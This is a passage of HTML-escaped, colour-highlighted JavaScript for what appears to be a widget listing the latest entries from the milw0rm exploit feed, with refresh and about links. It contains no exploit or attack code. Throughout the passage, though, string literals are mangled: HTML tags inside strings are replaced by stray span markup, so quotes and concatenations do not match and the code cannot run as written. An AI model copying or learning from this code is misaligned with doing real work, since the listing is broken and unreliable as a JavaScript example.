187);"&gt;i_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;i_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;&lt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;40&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;i_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;4&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;lid_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;++)&lt;br /&gt;  {&lt;br /&gt;    if (&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;milalerts1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;i_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;3&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;]==&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'1'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;){ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column2_tcolour_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column2_hcolour_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;font_column2_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'&lt;span &gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column2_tsize_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'" face="' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column2_ttheme_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'" color="' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column2_tcolour_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;; }&lt;br /&gt;    if (&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;adjust_length_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;== &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"yes"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;)&lt;br /&gt;    {&lt;br /&gt;      var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;a_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;milalerts1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;i_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;];&lt;br /&gt;      if (&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;a_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;length &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;adjust_var_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;)&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;document&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;getElementById&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'link_Module1'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;lid_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;).&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;innerHTML&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'&lt;a href=""&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;milalerts1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;i_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;2&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;] + &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'" target="_blank" style="text-decoration: none"&gt;&lt;b&gt;' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;font_column2_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;a_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;substr&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;adjust_var_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;) + &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;b_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'&lt;/b&gt;&lt;/span&gt;&lt;/a&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;      else&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;document&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;getElementById&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'link_Module1'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;lid_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;).&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;innerHTML&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'&lt;a href=""&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;milalerts1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;i_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;2&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;] + &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'" target="_blank" style="text-decoration: none"&gt;&lt;b&gt;' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;font_column2_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;milalerts1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;i_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;] + &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'&lt;/b&gt;&lt;/span&gt;&lt;/a&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;    }&lt;br /&gt;    else&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;document&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;getElementById&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'link_Module1'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;lid_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;).&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;innerHTML&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'&lt;a href=""&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;milalerts1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;i_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;2&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;] + &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'" target="_blank" style="text-decoration: none"&gt;&lt;b&gt;' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;font_column2_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;milalerts1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;i_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;] + &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'&lt;/b&gt;&lt;/span&gt;&lt;/a&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;&lt;br /&gt;    if (&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;count_column_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;!= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"1"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;)&lt;br /&gt;    {&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;document&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;getElementById&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'date_Module1'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;lid_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;).&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;innerHTML&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'&lt;b&gt;' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;font_column1_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;milalerts1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;i_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;] + &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'&lt;/b&gt;&lt;/span&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;    }&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column2_tcolour_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;base_colour_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;font_column2_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'&lt;span &gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column2_tsize_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'" face="' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column2_ttheme_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'" color="' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column2_tcolour_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;  }&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;lid_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;i_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;  return;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if (&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;count_column_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;== &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"1"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;) { &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;colspan_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;; }&lt;br /&gt;else { &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;colspan_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;2&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;; }&lt;br /&gt;&lt;br /&gt;if (&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;count_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;)&lt;br /&gt;{&lt;br /&gt;  if (&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;count_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;10&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;) {&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;count_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;10&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;}&lt;br /&gt;&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;htmltxt_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+=&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'\n&lt;table align=""&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;table_align_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'" width="' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;table_width_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'" cellspacing="' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;table_cspacing_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'" cellpadding="' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;table_cpadding_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'" border="' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;table_border_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'" bordercolor="' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;table_bdcolour_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'" bgcolor="' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;table_bgcolour_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'" background="' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;table_bgpic_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'" hspace="' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;table_hspace_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'" vspace="' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;table_vspace_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'" height="' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;table_height_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;htmltxt_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+=&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'\n&lt;tr&gt;&lt;td align=""&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;header_align_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'" valign="' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;header_valign_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'" height="' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;header_height_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'" colspan="' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;colspan_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'" bgcolor="' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;header_bgcolour_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'"&gt;' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;font_header_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'&lt;a href="!1642!http://heapoverflow.com/f0rums/news/1642-milw0rm-javascript-content-parser-v3-0-a.html" target="_blank" style="text-decoration: none;float: right;"&gt;' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;font_header_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'&lt;b&gt;|&lt;/b&gt;about&lt;/a&gt;&lt;a href="#r_Module1" style="text-decoration: none;float: right;" onclick="refresh_Module1(); return false;" rel="nofollow"&gt;' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;font_header_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'refresh&lt;/a&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;&lt;br /&gt;  if (&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;count_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;== &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;)&lt;br /&gt;  {&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;htmltxt_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+=&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'&lt;b&gt;Latest ' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;header_title2_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"&lt;b&gt;from &lt;a target="\" href="\" style="\"&gt;&lt;span style="color:\;"&gt;milw0rm&lt;/a&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/span&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;  }&lt;br /&gt;  else&lt;br /&gt;  {&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;htmltxt_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+=&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'&lt;b&gt;Latest ' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;count_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;' ' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;header_title1_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"&lt;b&gt;from &lt;a target="\" href="\" style="\"&gt;&lt;span style="color:\;"&gt;milw0rm&lt;/a&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/span&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  for (var &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;i_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 